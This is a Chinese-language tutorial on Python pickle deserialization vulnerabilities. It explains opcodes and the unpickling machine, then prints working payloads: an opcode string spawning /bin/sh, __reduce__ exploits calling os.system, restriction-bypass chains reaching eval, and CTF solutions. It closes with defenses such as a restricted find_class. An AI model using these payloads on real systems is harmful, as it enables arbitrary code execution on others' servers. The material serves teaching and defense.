浅析python反序列化
字数 1888 2025-08-25 22:58:47
Python反序列化安全深度解析
1. Python序列化与反序列化基础
1.1 基本概念
Python的序列化和反序列化是将一个类对象转化为字节流进行存储和传输,然后再将字节流转化回原始对象的过程。
import pickle
class Person():
def __init__(self):
self.age = 18
self.name = "Pickle"
p = Person()
opcode = pickle.dumps(p)
print(opcode)
# b'\x80\x04\x957\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x06Pickle\x94ub.'
P = pickle.loads(opcode)
print('The age is:' + str(P.age), 'The name is:' + P.name)
# The age is:18 The name is:Pickle
1.2 相关函数
pickle.dumps(obj[, protocol]): 将obj对象序列化为string形式pickle.loads(string): 从string中读出序列化前的obj对象pickle.dump()与pickle.load(): 可以序列化多个对象到同一个文件
1.3 可序列化对象类型
None、True和False- 整数、浮点数、复数
str、byte、bytearray- 只包含可打包对象的集合(tuple、list、set和dict)
- 定义在模块顶层的函数(使用def定义)
- 定义在模块顶层的内置函数
- 定义在模块顶层的类
- 某些类实例(这些类的
__dict__属性值或__getstate__()函数的返回值可以被打包)
2. Python反序列化机制
2.1 PVM(Python虚拟机)
PVM是实现Python序列化和反序列化的核心,由三部分组成:
- 引擎(指令分析器): 读取操作码和参数并解释处理
- 栈区: 作为流数据处理过程中的暂存区(Python list实现)
- Memo(标签区): 数据索引或标记(Python dict实现)
2.2 序列化过程
- 从对象提取所有属性,并将属性转化为名值对
- 写入对象的类名
- 写入名值对
2.3 反序列化过程
- 获取pickle输入流
- 重建属性列表
- 根据类名创建一个新的对象
- 将属性复制到新的对象中
3. Pickle协议与Opcode
3.1 Pickle协议版本
- v0: 原始"人类可读"协议
- v1: 较早的二进制格式
- v2: Python 2.3引入,支持new-style class
- v3: Python 3.0引入,支持bytes对象
- v4: Python 3.4引入,支持大对象存储
- v5: Python 3.8引入,支持字节数组和缓冲区协议
3.2 重要Opcode
| Opcode | 描述 | 示例 |
|---|---|---|
c |
调用find_class导入模块和类 |
cos\nsystem\n |
( |
标记开始 | |
S |
压入字符串 | S'/bin/sh' |
t |
从栈顶到标记处构建元组 | (S'ls'\nt |
R |
调用可调用对象 | R |
. |
结束符 | |
b |
使用__setstate__或__dict__.update |
|
i |
构建实例 | ios\nsystem\n |
o |
构建实例(参数通过栈获取) | (cos\nsystem\nS'ls'\no |
4. 反序列化漏洞利用
4.1 基本利用方式
opcode = b'''cos
system
(S'/bin/sh'
tR.'''
解析:
c导入os.system(压入标记S压入字符串'/bin/sh't构建元组('/bin/sh',)R调用os.system('/bin/sh').结束
4.2 使用__reduce__方法
import pickle
import os
class Exploit(object):
def __reduce__(self):
return (os.system, ('whoami',))
payload = pickle.dumps(Exploit())
4.3 绕过限制的技巧
4.3.1 绕过find_class限制
# 获取builtins模块中的eval函数
opcode = b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.'''
4.3.2 使用__setstate__
# 使用b操作码和__setstate__
opcode = b'''c__main__
secret
(V\u006bey
S'asd'
db.'''
5. 防御措施
5.1 重写find_class方法
import builtins
import io
import pickle
safe_builtins = {'range', 'complex', 'set', 'frozenset', 'slice'}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
raise pickle.UnpicklingError(f"global '{module}.{name}' is forbidden")
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
5.2 其他防御建议
- 不要反序列化不受信任的数据
- 使用JSON等更安全的序列化格式替代pickle
- 对序列化数据进行签名或加密
- 使用最新的pickle协议版本
6. 实际案例分析
6.1 [CISCN 2019华北Day1]Web2
import pickle
import urllib
class poc(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = poc()
print(urllib.quote(pickle.dumps(a)))
6.2 Code-breaking 2018 picklecode
# 绕过RestrictedUnpickler限制的payload
opcode = b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
(cbuiltins
globals
)Rp2
00
g1
(g2
S'builtins'
tRp3
0
g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.'''
7. 工具与资源
7.1 Pker工具
Pker可以自动化解析pickle opcode:
# pker_test.py
i = 0
s = 'id'
lst = [i]
tpl = (0,)
dct = {tpl: 0}
system = GLOBAL('os', 'system')
system(s)
return
7.2 Pickletools
import pickletools
opcode = b'''cos
system
(S'/bin/sh'
tR.'''
pickletools.dis(opcode)
8. 总结
Python的反序列化漏洞危害严重,攻击者可以通过构造特殊的opcode实现任意代码执行。开发者应当:
- 避免反序列化不受信任的数据
- 使用安全的替代方案如JSON
- 如果必须使用pickle,实现严格的
find_class限制 - 保持Python和依赖库的最新版本
理解PVM工作机制和opcode语义对于防御和利用都至关重要,安全人员需要深入掌握这些知识才能有效应对相关威胁。